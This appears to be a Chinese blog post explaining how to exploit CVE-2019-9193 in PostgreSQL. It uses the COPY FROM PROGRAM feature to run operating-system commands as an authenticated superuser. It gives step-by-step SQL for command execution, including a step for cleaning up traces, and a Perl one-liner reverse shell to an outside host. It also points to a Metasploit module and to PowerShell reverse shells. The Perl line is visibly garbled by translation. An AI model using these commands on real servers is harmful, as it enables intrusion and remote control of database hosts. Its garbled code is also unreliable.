PostgreSQL 9.3上经过身份验证的任意命令执行漏洞 (CVE-2019-9193)
PostgreSQL,俗称Postgres,是世界上最大,最受欢迎的数据库系统之一。它是Mac OSX的主要数据库,同时也有Linux和Windows版本。
今天,我将讨论一个漏洞(CVE-2019-9193),它能使某些数据库用户利用Postgres实现任意代码执行。
这个漏洞几乎影响了PostgreSQL的所有版本(从9.3到最新的11.2),同时也影响了所有的操作系统:Windows,Linux和Mac。
从版本9.3开始,Postgres新增了一个“COPY TO/FROM PROGRAM”功能。这个功能简单来说就是允许数据库的超级用户
以及pg_read_server_files
组中的任何用户执行操作系统命令。这就意味着数据库的超级用户与运行数据库的用户在操作系统上拥有相同的权限。
这种缺乏权限分离的设定,我们早在2000年左右就能看到,例如,Microsoft SQL Server
中看到,在默认情况下启用了xp_cmdshell功能。
直到Microsoft SQL Server 2005
中对此进行了修补和禁用,但有趣的是,相同的错误一直在不断重复的。
这种错误/缺陷/功能/漏洞介于提权和任意代码执行之间,因为在利用它之前需要数据库的某种身份验证。当然,攻击者也有可能通过SQL注入来实现。无论哪种情况,只有超级用户或具有“pg_read_server_files”权限的用户都才能执行系统命令。
要执行攻击,只需按照以下步骤操作:
1)[可选]删除要使用的表(如果已存在)
DROP TABLE IF EXISTS cmd_exec
;2)创建要保存命令输出的表
CREATE TABLE cmd_exec(cmd_output text)
;3)通过
COPY FROM PROGRAM
功能运行系统命令
COPY cmd_exec FROM PROGRAM'id'
;4)[可选]查看结果
SELECT * FROM cmd_exec
;5)[可选]清理痕迹
DROP TABLE IF EXISTS cmd_exec
;
请注意,在原本命令中的任何单引号必须是双引号才能转义它们,因此例如,如果要运行:
echo'hello'
;
你需要将它放在单引号内,然后用双引号替换所有单引号:
'echo''hello'';'
我已在Postgres可运行的所有操作系统上进行了测试,都以反弹回一个shell为目标,这个shell的权限如下:
- Windows - NT AUTHORITY / NETWORK SERVICE(低私有)
- Linux - postgres(低私有)
- Mac - 安装postgres的用户(通常是管理员)
Linux和Mac OSX通常可以通过perl one liner使用,其命令如下:
COPY files FROM PROGRAM’perl -MIO -e’’$ p = fork; exit,if($ p); $ c = new IO :: Socket :: INET(PeerAddr,“192.168.0.104:80”); STDIN- fdopen($ c,r); $〜 - fdopen($ c,w); system $ _ while <>;’’’;
当然,我还有更简单的方法。我制作了一个新的Metasploit模块(应尽快合并到主框架中)来简化开发过程,因为原本的postgres_payload
模块只能在版本8之前工作
postgres_cmd_execution_nine_three.rb
会自动执行上述所有操作,如果你提供的话它具有有效的数据库凭据,具有正确的权限。对于SQL注入,您必须采用手动进行操作。
但是对于Windows,NETWORK SERVICE
用户似乎没有任何写权限,但仍然可以使用PowerShell来反弹shell。
我们可以使用me tasploit来生成Powershell编写的反弹shell语句,再带入上述模块中的COMMAND变量。请注意,要使用反斜杠来转义单引号。
我希望你发现这项新技术对你很有帮助。